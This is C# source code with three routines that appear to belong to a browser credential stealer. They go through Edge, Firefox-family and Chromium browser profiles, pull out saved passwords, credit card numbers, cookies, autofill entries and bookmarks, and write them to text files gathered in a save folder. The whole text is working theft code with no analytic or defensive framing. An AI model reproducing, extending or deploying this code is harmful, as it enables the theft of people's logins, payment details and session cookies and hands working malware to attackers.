public static void Run(string sSavePath) { string sFullPath = Paths.lappdata + Paths.EdgePath; if (!Directory.Exists(sFullPath)) { return; } string sBDir = sSavePath + "\\Edge"; Directory.CreateDirectory(sBDir); foreach (string sProfile in Directory.GetDirectories(sFullPath)) { if (File.Exists(sProfile + "\\Login Data")) { // Run tasks List <CreditCard> pCreditCards = Edge.CreditCards.Get(sProfile + "\\Web Data"); List <AutoFill> pAutoFill = Edge.Autofill.Get(sProfile + "\\Web Data"); List <Bookmark> pBookmarks = Edge.Bookmarks.Get(sProfile + "\\Bookmarks"); List <Password> pPasswords = Chromium.Passwords.Get(sProfile + "\\Login Data"); List <Cookie> pCookies = Chromium.Cookies.Get(sProfile + "\\Cookies"); //List<Site> pHistory = Chromium.History.Get(sProfile + "\\History"); // Await values and write cBrowserUtils.WriteCreditCards(pCreditCards, sBDir + "\\CreditCards.txt"); cBrowserUtils.WriteAutoFill(pAutoFill, sBDir + "\\AutoFill.txt"); cBrowserUtils.WriteBookmarks(pBookmarks, sBDir + "\\Bookmarks.txt"); cBrowserUtils.WritePasswords(pPasswords, Help.ExploitDir + "\\Passwords.txt"); cBrowserUtils.WriteCookies(pCookies, sSavePath + $"\\Cookies_Edge({GenStrings.GenNumbersTo()}).txt"); //cBrowserUtils.WriteHistory(pHistory, sBDir + "\\"); } } }
public static void Run(string sSavePath) { foreach (string path in Paths.sGeckoBrowserPaths) { try { string name = new DirectoryInfo(path).Name; string bSavePath = sSavePath + "\\" + name; string browser = Paths.appdata + "\\" + path; if (Directory.Exists(browser + "\\Profiles")) { Directory.CreateDirectory(bSavePath); List <Bookmark> bookmarks = Bookmarks.Bookmarks.Get(browser); // Read all Firefox bookmarks List <Cookie> cookies = Cookies.Cookies.Get(browser); // Read all Firefox cookies //List<Site> history = History.History.Get(browser); // Read all Firefox history List <Password> passwords = Passwords.Passwords.Get(browser); // Read all Firefox passwords cBrowserUtils.WriteBookmarks(bookmarks, bSavePath + "\\Bookmarks.txt"); cBrowserUtils.WriteCookies(cookies, sSavePath + $"\\Cookies_{name}({GenStrings.GenNumbersTo()}).txt"); //cBrowserUtils.WriteHistory(history, bSavePath + "\\History.txt"); cBrowserUtils.WritePasswords(passwords, Help.ExploitDir + "\\Passwords.txt"); } } catch { } } }
public static void Run(string sSavePath) { if (!Directory.Exists(sSavePath)) { Directory.CreateDirectory(sSavePath); } foreach (string sPath in Paths.sChromiumPswPaths) { string sFullPath; if (sPath.Contains("Opera Software")) { sFullPath = Paths.appdata + sPath; } else { sFullPath = Paths.lappdata + sPath; } if (Directory.Exists(sFullPath)) { foreach (string sProfile in Directory.GetDirectories(sFullPath)) { // Write chromium passwords, credit cards, cookies string sBDir = sSavePath + "\\" + Crypto.BrowserPathToAppName(sPath); Directory.CreateDirectory(sBDir); // Run tasks List <CreditCard> pCreditCards = CreditCards.Get(sProfile + "\\Web Data"); List <Password> pPasswords = Passwords.Get(sProfile + "\\Login Data"); List <Cookie> pCookies = Cookies.Get(sProfile + "\\Cookies"); //List<Site> pHistory = History.Get(sProfile + "\\History"); //List<Site> pDownloads = Downloads.Get(sProfile + "\\History"); List <AutoFill> pAutoFill = Autofill.Get(sProfile + "\\Web Data"); List <Bookmark> pBookmarks = Bookmarks.Get(sProfile + "\\Bookmarks"); // Await values and write cBrowserUtils.WriteCreditCards(pCreditCards, sBDir + "\\CreditCards.txt"); cBrowserUtils.WritePasswords(pPasswords, Help.ExploitDir + "\\Passwords.txt"); cBrowserUtils.WriteCookies(pCookies, sSavePath + $"\\Cookies_{Crypto.BrowserPathToAppName(sPath)}({GenStrings.GenNumbersTo()}).txt"); //cBrowserUtils.WriteHistory(pHistory, sBDir + "\\History.txt"); //cBrowserUtils.WriteHistory(pDownloads, sBDir + "\\Downloads.txt"); cBrowserUtils.WriteAutoFill(pAutoFill, sBDir + "\\AutoFill.txt"); cBrowserUtils.WriteBookmarks(pBookmarks, sBDir + "\\Bookmarks.txt"); } } } }